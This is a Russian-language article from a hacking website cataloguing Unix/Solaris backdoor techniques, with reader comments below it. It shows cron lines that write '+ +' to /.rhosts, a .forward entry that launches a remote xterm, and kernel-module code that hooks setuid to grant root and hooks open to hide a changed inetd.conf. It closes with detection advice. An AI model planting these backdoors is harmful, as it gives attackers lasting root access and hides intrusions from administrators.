Backdoors — HackZona.Ru

Backdoors

Backdoors

Тип статьи:
Со старой ХакЗоны.
Источник:
Проникнуть в чужую систему и добиться там root привелегий это еще полдела. Как и в известной игре в «Царя горы», завоеванное нужно удержать. Для этого в систему вносятся небольшие изменения, оставляются программы. Это и есть backdoors. Чтобы найти их в своей системе ( А вдруг они там уже есть?! ;-), необходимо понимать способы их создания. В этом документе я не претендую на описание всех возможных backdoors. Вы можете предложить свой способ и пополнить коллекцию. Все названия относятся к OS Solaris. В других *NIX системах они аналогичны. Классификация. Backdoors, дающие привилегии. Изменение атрибутов файлов. suid-bit (04000).suid-bit (04000). При запуске программы, имеющей s бит система порождает процесс с эффективным uid равным uid хозяина программы. Таким образом, копия shell, лежащая в удаленном каталоге и имеющая sticky-bit, дает мгновенные права «хозяина» файла, например root. Атрибуты специальных устройств. /dev/mem/dev/mem указывает на драйвер для доступа к памяти. Постановка на него атрибутов 0666 дает пользователю возможность прямой записи в память. Злоумышленник может найти proc_t структуру своего процесса и изменить его эффективный uid. {kmem_thief} Изменение системных файлов. /var/spool/cron/crontabs/ Cron создает заказанные процессы в установленное время. Взломщик может добавить строку, создающую, например, .rhosts файл в полночь и уничтожающую его утром в файл заданий root. /var/spool/cron/crontabs/root: 0 22 * * 6 «echo '+ +' > /.rhosts» 0 6 * * 1 «rm -rf /.rhosts» /etc/passwd, /etc/shadow — в этих файлах храниться информация о аккаунтах. Взломщик может добавть в них свои записи или изменить аттрибуты этих файлов для внесения в произвольный момент своей информации. /var/sadm/install/contents — этот файл хранит информацию о проинсталлированных в системе файлах, их размеры, атрибуты и контрольную сумму. Этот файл может быть изменен для сокрытия модификации программ. Подмена программ, модификация библиотек. Программы, имеющие sticky-bit или часто выполняемые администратором системы могут быть модифицированны для внесения изменений в систему при выполнении администратором. E.g:… if( !geteuid()) chmod("/var/tmp/.hidden_shell", 0x4555);… Аналогичный кусочек может быть вставлен в одну библиотек, например libc. Библиотека libc.a разбирается на обьектные файлы. Необходимая функция модифицируется и компилируется новая динамическая библиотека. Добавление модулей в ядро. Взломщик может добавить свой модуль в ядро и перехватить какой-либо из системных вызовов, скажем, SYS_setuid. SYS_setuid Solaris 2.6… proc_t p; user_t ut; int my_setuid(uid_t uid) { int rval; p = ttoproc(curthread); mutex_enter(&p-;>p_lock); up = prumap(p); rval = bcmp(up->u_comm, «devil», 5); (void)prunmap(p); mutex_exit(&p-;>p_lock); if( rval) { rval = setuid(uid); } else {… } return 0; }… Теперь достаточно переименовать свою программу в devil* и вызвать setuid для получения uid = 0. Специально оставленные программы. В системе могут быть оcтавлены файлы, такие как passwd крекеры, exploits для suid программ, etc. На не пропатченной системе с помощью exploitов могут быть получены root привелегии за счет выполнения кода в стеке программ имеющих sticky-bit. Backdoors, дающие доступ к системе. Введение доверенных отношений ~user/.rhosts, /etc/host.equiv, ~user/.shosts (при установленном SSH) Эти файлы создают доверенные отношения в сети. К ним обращаются демоны in.rlogind, in.rshd, sshd, etc. В файлах оговорены пары компьютер-пользователь которые могут входить в систему минуя схему аутенфикации. Пара '+ +' позволяет вход любого пользователя с любого компьютера без пароля. Наличие файла /.rhosts {+ +} предоставляет возможность войди в систему как root или smtp (uid=0, gid=0). Ограничение на вход пользователя root только с консоли не запрещает удаленный вход пользователя smtp, a /usr/bin/.rhosts дает вход для пользователя 'bin' ~user/.forward в этом файле хранится информация для перенаправления почты. Он может выглядеть например так: user |"/usr/openwin/bin/xterm -display another.host.net:0" Добавление или модификация демонов. Системные демоны обычно запускаются при старте системы из /etc/rc?.d/ файлов или при помощи мета-демона inetd. В эти файлы можно добавить старт своего демона. Для затруднения обнаружения посторонних соединений путем прослушивания сети или обмана firewalla чужая программа может использоваться UDP протокол или ICMP пакеты. Backdoors, маскирующие активность в системе. Подмена программ. Замена программ исправленными версиями используется для маскировки своей работы в системе, например, запуска ломалки паролей. Программы изменяются так что бы не показывать активность определенного пользователя, запускаемых им процессов, использование дискового пространства. Наиболее известным из пакетов программ для замены системных утилит является RootKit. {RootKit SunOS, RootKit Linux} Введение модулей в ядро. Модули могут перехватывать системные вызовы обращения к файлам, получения информации о системе и сознательно искажать получаемую информацию. Например, при открытии файла "/etc/inetd.conf" будет происходить открытие резервной копии этого файла спрятанной в системе. Таким образом скрывается изменение системных файлов. SYS_open: SYS_open Solaris 2.6… static char new_path = "/var/tmp/.locks/.idx/inetd.conf"; int my_open(char *fname, int fmode, int cmode) { int rval; rval = bcmp(fname, "/etc/inetd.conf", 16); if( rval) { return(copen(fname, (int)(fmode-FOPEN), cmode)); } else { return(copen(new_path, (int)(fmode-FOPEN), cmode)); } }… Определение backdoors. Хорошо спрятанный backdoor довольно трудно найти. Вопросы поиска и создания backdoors напоминают «спор брони и снаряда». Проверка файлов. Разумным решением является сделать назависимый список системных файлов с их атрибутами и контрольными суммами. Этот список создается после инсталляции новой системы и корректировки ее с помощью aset (SUNWast) или 'fix-modes' by Casper Dik. Проверка файлов в системе можно производить по cron или постоянным процессом с низким приоритетом. Контрольные суммы вычисляемые /bin/sum не являются надежной гарантией безопасности, т.к. легко подбираются. Можно порекомедовать для этих целей MD5. Существует ряд продуктов различных фирм, позволяющих просматривать систему на предмет «странных» файлов, дат, атрибутов. Контроль сетевых соединений. Узнать о постороннем доступе в систему можно контролируя сетевой траффик и сканнируя хосты на предмет открытых портов. Существует большое количество как сканеров так и систем контроля за сетевым траффиком. Лучшим решением всегда остается firewall ;-). Поддержание системы в разумном порядке. Системы со всеми инсталлированными патчами, отключенными неиспользуемыми сервисами существенно меньше подвержены разрушению, с разумно ограниченным доверием ;-)
Нравится
Не нравится

2 комментария

21:06
у вас тут есть что-нить не касающееся темы "как стать хаккером" один фиг если это лаймер то он только зря время потеряет, и причём глаза замозолит.пишите так что бы было понятно другим а не только нам(я не говорю конкретно про эту статью), вот например вы часто пишите как что то сделать, скрипт,червяка,трояна и часто забываете упоминать о том где и как её надо писать.И не пешите такой чуши как наращивание опыта для хаккера.Врятли среди нас есть хоть один настоящий хаккер их больше не осталось, а моё мнение о хаккере читайте в анкете.
Не ленитесь пишите подробно, вот представьте что вы обсолютный лаймер который кликает на ссылку Backdoor
так как он услышал о трояне и теперь хочет собрать о нём инфу так как у него ни чего не получается и что он видит : SYS_open: SYS_open Solaris 2.6 ... static char new_path = "/var/tmp/.locks/.idx/inetd.conf"; int my_open(char *fname, int fmode, int cmode) { int rval; rval = bcmp(fname, "/etc/inetd.conf", 16); if( rval) { return(copen(fname, (int)(fmode-FOPEN), cmode)); } else { return(copen(new_path, (int)(fmode-FOPEN), cmode)); } } это то же самое что и учить меня как делать ссылки(несколько лет тому назад)создавая странички.ВЫ должны понять что вот этот хаккер гонится не за инфой а за тем опытом который вы даёте за прочтение информации( я знаю это потому что раньше тоже этим стродал)Он тратит деньги что бы только открывать ваши ссылки,а представьте что у лаймера провайдер берёт деньги за метры, тогда лаймер денег никаких не напасётся(но это не ваша проблема)ВЫ просто пишите так что бы лаймер всё понял где , что , как и главное зачем писал.Не надо длинных абзацев, не надо смешивать инфу с професиональным хаккингом(её лучше вообше не пускать) с начальным, ибо в маленькой головке лаймерка есть только одно желание дочитать вашу статью до конца, и стать профессиональным хаккером ворующим деньги милиардами из банков(лучше сразу предупреждайте об этом), а надо (ну например в статье написано " откройте протокол FTP ну там или TELNET.exe" то лаймерок сворачивает все окна и открывает этот клиент, статья должна захватить читателя.Если мой отзыв вас заинтересует то пишите ответ на мыло буду очень признателен!!!!

GROOVYNSTER
03:28
Если и это сложно, то пускай читают "Виндоуз для дегенератов" и не суют нос на такой портал.